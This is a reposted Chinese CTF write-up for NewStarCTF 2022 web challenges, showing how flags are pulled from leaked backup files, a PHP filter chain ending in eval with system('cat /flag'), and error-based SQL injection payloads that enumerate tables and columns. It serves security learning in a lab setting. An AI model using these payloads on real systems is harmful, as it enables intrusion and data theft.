• 欢迎光临~

NewStarCTF 2022

开发技术 开发技术 2022-10-18 次浏览

NewStar

WEB

我真的会谢

提示:

Flag has three part, qsdz hid them in different files.
By the way, these files are sensitive.
<!--I used VIM to write this file, but some errors occurred midway.-->

三段flag藏在三个敏感文件中,有一个是VIM意外退出生成的 .?.swp 文件,由于是网页文件,猜测文件为:".index.php.swp"。得到第二段flag为"0_e4sy_d0_y00"

备份敏感文件robots.txt中藏有第一段flag"flag{Th1s_Is_s00",网页的常用文件www.zip中藏有第三段flag:"u_th1nk_so?}"

本来想扫描的,看了wp就直接得到文件了

NotPHP

一道php绕过,源码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
    if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
        if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
            echo "Hack Me";
            eval("#".$_GET['cmd']);
        }else{
            die("Number error!");
        }
    }else{
        die("Wrong Key!");
    }
}else{
    die("Pass it!");
}

首先需要GET方式传入data,通过file_get_contents(data)函数访问一个文件内容且该内容恰好为"Weilcome to CTF"。借助data伪协议可以将文件流替换为输入流,构造 /?data=data://text/plain;base64,V2VsY29tZSB0byBDVEY= 其中"V2VsY29tZSB0byBDVEY="是"Welcome to CTF"的base64编码

接着需要构造key1和key2以满足两者的md5编码结果能通过"="测试且key1和key2的值能通过"!"测试,要求两者内容不同但md5相同实际上是要求一个md5碰撞,但还有更简单的方法,由于php的 md5() 函数无法处理数组,一律返回null,因此只需要传入数组即可通过"==="测试:key1[]=1&key2[]=2

接着来到第三层检测,is_numberic() 函数检测变量是否为数字或数字字符串,浮点型也可返回true;intval() 获取变量的整数值;因此需要用post方式传入num变量使得它不是一个数字的同时将其转化为数字又等于2077。payload:num=2077a 。转化为数字时取开头连续的数字为2077,判断类型时由于a的存在被判断为非数字字符串。(好像有点简单233)十六进制 num=0x81D 无法绕过是因为字符串"0x81D"被认为是数字字符串

然后可以传入cmd参数进行命令执行,但是前面连接了一个注释符,因此需要绕过,可以使用换行符 %0a 换行绕过:cmd=%0asystem('cat /flag'); 即可得到flag。或者使用 ?> 的闭合也可以绕过:cmd=?><?php system('cat /flag'); (eval() 函数中"?>"的神奇效果,好像是直接将其插入到php文件中一样)

因此最终的payload:http://de68bddc-7ec1-4ca7-b9d8-0eb85578a5e4.node4.buuoj.cn:81/?data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=&key1[]=1&key2[]=2&cmd=?><?php system('cat /flag'); +POST内容:num=2077a

参考:[

PHP伪协议

DjkL-WP

]

Word-For-You

一道简单的SQL注入,就是有点迷惑性,先试试是不是数字型:1 or 1=1 ,回显无任何内容,且1 or 1=1被原样作为用户名打了出来,看上去很奇怪。再尝试字符型: 1' 发现没有报错,且 1' 也被原样打了出来,我起初以为它做了严格的防sql的防火墙,后来发现它只是把输出原样打到了屏幕上。

payload:1' or '1 即可将数据库中所有留言都显示出来,其中就有flag。实际上注入是有效的,但是由于回显只是简单的将搜索结果和输入内容输出,若注入语句查询不到任何东西则回显内容也是空的,有一定欺骗性,因此看起来像是无法注入。

Word-For-You

由于调试信息回显了出来,因此是一道报错注入,本题查询成功时不再回显查询结果

先注入库名:

1' and extractvalue(1,concat(0x7e,database(),0x7e)) -- 

->'~wfy~'

再注入表名:

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wfy'),0x7e)) -- 

->'~wfy_admin,wfy_comments,wfy_info'

猜测在'wfy_comments'中,注入列名:

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='wfy_comments'),0x7e)) -- 

->'~id,text,user,name,display~'

评论应该在text中,注入text列:

1' and extractvalue(1,concat(0x7e,(select text from wfy_comments limit 11,1),0x7e)) -- 

->'~flag{Ju4t_m2ke_some_err0rs}~'

由于评论不止一条,使用"limit 11,1"获取第十一条就是flag。也可以使用"group_concat()"函数将所有评论连接起来,但是由于报错回显的长度有限,并不能将所有内容输出,这时候还可以用"MID()"函数提取字符串部分的方式寻找并取得flag。

程序员灯塔
转载请注明原文链接:NewStarCTF 2022
喜欢 (0)
违法和不良信息举报电话:022-22558618 举报邮箱:dljd@tidljd.com